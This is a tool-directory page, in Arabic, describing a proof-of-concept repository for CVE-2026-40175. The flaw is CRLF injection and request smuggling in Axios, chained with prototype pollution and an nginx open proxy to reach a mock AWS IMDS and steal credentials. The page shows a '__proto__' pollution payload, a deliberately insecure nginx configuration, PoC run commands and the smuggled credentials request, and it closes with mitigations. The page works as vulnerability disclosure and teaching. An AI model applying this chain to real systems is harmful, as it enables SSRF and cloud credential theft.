Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40175-poc — إثبات مفهوم يوضح حقن CRLF وتهريب طلبات HTTP في Axios، مع ربط تلوث النموذج الأولي لتحقيق SSRF والوصول إلى الخدمات الداخلية مثل IMDS. | Kitploit
أدوات/GitHubGitHub/pjt3591oo/cve-2026-40175-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubpjt3591oo/cve-2026-40175-poc

CVE-2026-40175-poc

إثبات مفهوم يوضح حقن CRLF وتهريب طلبات HTTP في Axios، مع ربط تلوث النموذج الأولي لتحقيق SSRF والوصول إلى الخدمات الداخلية مثل IMDS.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40175 — حقن CRLF في Axios / إثبات مفهوم تهريب طلبات HTTP

نظرة عامة

ثغرة حقن CRLF في دالة AxiosHeaders.set() الخاصة بعميل HTTP الخاص بـ Axios (>=1.0.0 <1.15.0, <0.31.0) بسبب عدم التحقق من وجود \r\n داخل قيم الترويسات.

يمكن للمهاجم، عبر دمجها مع تلوث النموذج الأولي (Prototype Pollution) عبر مكتبات مثل lodash أو qs، أو عبر حقن CRLF مباشرة في الترويسات، تنفيذ SSRF نحو خوادم داخلية عشوائية عبر طبقة وسيطة مثل nginx open proxy.

البندالمحتوى
CVSS9.9 (حرجة)
الإصدارات المتأثرةaxios >=1.0.0 <1.15.0, axios <0.31.0
إصدار التصحيح1.15.0, 0.31.0
CWECWE-93 تحييد غير صحيح لتسلسلات CRLF

السبب الجذري

root@kitploit:~
lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ /[\r\n]+$/ لإزالة CRLF الزائدة في النهاية فقط
          ↑ \r\n في منتصف القيمة يمر دون معالجة

نتيجة لذلك، إدخال \r\n\r\nGET /admin HTTP/1.1\r\n... في قيمة ترويسة يؤدي إلى تضمين طلب HTTP ثانٍ مباشرة في تدفق TCP.


تلوث النموذج الأولي (Prototype Pollution)

المفهوم

جميع الكائنات في JavaScript ترث من Object.prototype. تلوث النموذج الأولي هو هجوم يلوث هذا النموذج المشترك نفسه، مما يؤثر على جميع الكائنات التي يتم إنشاؤها لاحقًا.

root@kitploit:~
Object.prototype.isAdmin = true;

const user = {};
user.isAdmin;  // true ← غير مُعلن ولكنه موجود

آلية التشغيل

تحدث الثغرة عندما لا تتعامل دالة merge العودية الضعيفة (lodash < 4.17.21, qs وغيرها) بشكل خاص مع مفتاح "__proto__".

root@kitploit:~
function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]);
      // عندما يكون key = "__proto__":
      //   target["__proto__"] → يُرجع Object.prototype
      //   → vulnerableMerge(Object.prototype, source["__proto__"])
      //   → حقن خصائص مباشرة في Object.prototype
    } else {
      target[key] = source[key];
    }
  }
}

// JSON المهاجم: __proto__ يُحلل كخاصية مباشرة
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);

({}).headers;  // { 'X-Smuggle': 'evil\r\n...' } ← نجاح التلوث

الربط مع axios

root@kitploit:~
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
         ↓
كود التطبيق: const opts = {};
         opts.headers  →  سلسلة النموذج الأولي  →  يُرجع الكائن الملوث
         ↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
         ↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...')  ← لا يوجد تحقق من CRLF
         ↓
يُضمَّن الطلب المُهرَّب في تدفق TCP

تحذير: الآثار الجانبية للتلوث الواسع

تلويث Object.prototype.headers يؤثر أيضًا على كائنات المخطط الداخلية في axios.

root@kitploit:~
عند استدعاء assertOptions(config, schema)
  schema['headers']  →  سلسلة النموذج الأولي  →  يُرجع الكائن الملوث
  validator(value)   →  استدعاء كائن كدالة  →  TypeError

في الهجمات الفعلية، يجب التحكم بدقة في نطاق التلوث، فالتلوث الواسع قد يتسبب في تعطل التطبيق نفسه قبل تنفيذ الهجوم المقصود (أثر جانبي DoS).


سلسلة الهجوم

root@kitploit:~
[1] حقن ترويسة مباشر أو تلوث النموذج الأولي (عبر مكتبة merge ضعيفة)
        ↓
[2] axios يسلسل القيمة المحتوية على CRLF كترويسة دون تحقق
        ↓
[3] الكتابة إلى تدفق TCP عبر net.Socket خام
        (وحدة http الافتراضية في Node.js تمنع ذلك وقت التشغيل → يتطلب adapter مخصص)
        ↓
[4] nginx (proxy_pass http://$http_host) يحلل الطلب إلى طلبين منفصلين
        ↓
[5] توجيه الطلب المُهرَّب إلى upstream آخر بناءً على ترويسة Host (SSRF)
        ↓
[6] الوصول إلى خادم داخلي (IMDS وغيرها) → سرقة بيانات الاعتماد

الشروط الأساسية

الشرطالمحتوى
تجاوز وحدة http في Node.jsاستخدام adapter مخصص قائم على net.Socket
nginx open proxyإعداد proxy_pass http://$http_host
ignore_invalid_headers onالسماح بالترويسات غير الطبيعية
توجيه resolverإمكانية تحليل أسماء النطاقات ديناميكيًا

بنية إثبات المفهوم (PoC)

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  الجهاز المضيف                                           │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (net.Socket خام → nginx:8080)                          │
│                                                         │
│  المتصفح → exploit.html (3003)                          │
│         → relay (3004) → مقبس خام → nginx:8080          │
└────────────────────┬────────────────────────────────────┘
                     │ جسر Docker (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (مستقبلي)
      :3001       :8080       :80
      :3003                   (محاكاة 169.254.169.254)
      :3004

خريطة المنافذ

المنفذالخدمةالدور
3001backendاستقبال طلبات HTTP / تسجيل الترويسات
3003backendخادم ثابت لـ exploit.html
3004backendrelay — تحويل POST من المتصفح → net.Socket
8080nginxopen proxy (proxy_pass http://$http_host)
80 (داخلي)imdsخادم محاكاة AWS IMDSv2

التشغيل

root@kitploit:~
# بناء وبدء جميع الحاويات
docker compose up --build

# اختبار Node.js (يُنفذ على الجهاز المضيف)
npm install

الاختبار حسب السيناريو

root@kitploit:~
# 1. مباشرة إلى backend — حقن CRLF ينتج طلبين
node poc/test-axios-adapter-backend.js

# 2. عبر nginx — توجيه الطلب المُهرَّب إلى backend:3001
node poc/test-axios-adapter-nginx.js

# 3. تلوث النموذج الأولي → حقن CRLF → سلسلة SSRF
node poc/test-prototype-pollution.js

# 4. المتصفح — http://localhost:3003
#    اختيار الهدف: مباشرة إلى backend / عبر nginx / nginx → IMDS (SSRF)

سيناريو SSRF عبر IMDS

root@kitploit:~
1. اختيار nginx → IMDS ثم تشغيل Custom Adapter
2. الطلب المُهرَّب: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                  Host: imds
3. nginx يوجه إلى host=imds → يُمرر إلى خادم محاكاة IMDSv2
4. سجل حاوية imds: [!!!] نجاح سرقة بيانات الاعتماد!

بنية الملفات

root@kitploit:~
.
├── docker-compose.yml
├── Dockerfile.backend          # حاوية backend + relay
├── Dockerfile.imds             # حاوية محاكاة IMDSv2
├── package.json                # [email protected] (تثبيت الإصدار الضعيف)
└── poc/
    ├── backend-server.js       # خادم HTTP (3001), relay (3004), خادم ثابت (3003)
    ├── mock-imds.js            # محاكاة AWS IMDSv2 (PUT /token, GET /credentials)
    ├── nginx-container.conf    # إعداد open proxy
    ├── exploit.html            # PoC للمتصفح (XHR مقابل Custom Adapter)
    ├── test-axios-adapter-backend.js   # مقبس خام → backend مباشرة
    ├── test-axios-adapter-nginx.js    # مقبس خام → nginx → backend/imds
    ├── test-axios-no-adapter.js       # axios قياسي (للتحقق من منع Node.js)
    └── test-prototype-pollution.js    # سلسلة تلوث النموذج الأولي → حقن CRLF

إعداد nginx (الأساسي)

root@kitploit:~
resolver 127.0.0.11 valid=30s;   # DNS داخلي لـ Docker

location / {
    proxy_pass         http://$http_host;   # توجيه ديناميكي بناءً على ترويسة Host = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # upstream ثابت للطلبات العادية
}

بما أن $http_host (مع المنفذ) يُستخدم كـ upstream، فإن ترويسة Host للطلب المُهرَّب تصبح وجهة التوجيه مباشرة.


التخفيف

root@kitploit:~
npm install axios@^1.15.0

يقدم التصحيح (1.15.0) دالة assertValidHeaderValue() لرفض أي قيمة تحتوي على CR/LF فورًا.

دفاعات إضافية:

  • منع proxy_pass http://$http_host في nginx → استخدام upstream ثابت
  • فرض IMDSv2 حصريًا (HttpTokens: required)
  • تطبيق مبدأ الحد الأدنى من الصلاحيات على ملف تعريف مثيل EC2

المراجع

  • NVD - CVE-2026-40175
  • Miggo Vulnerability DB
  • Aikido — هل هي قابلة للاستغلال فعلاً؟
  • CVEReports
تنزيل الأداة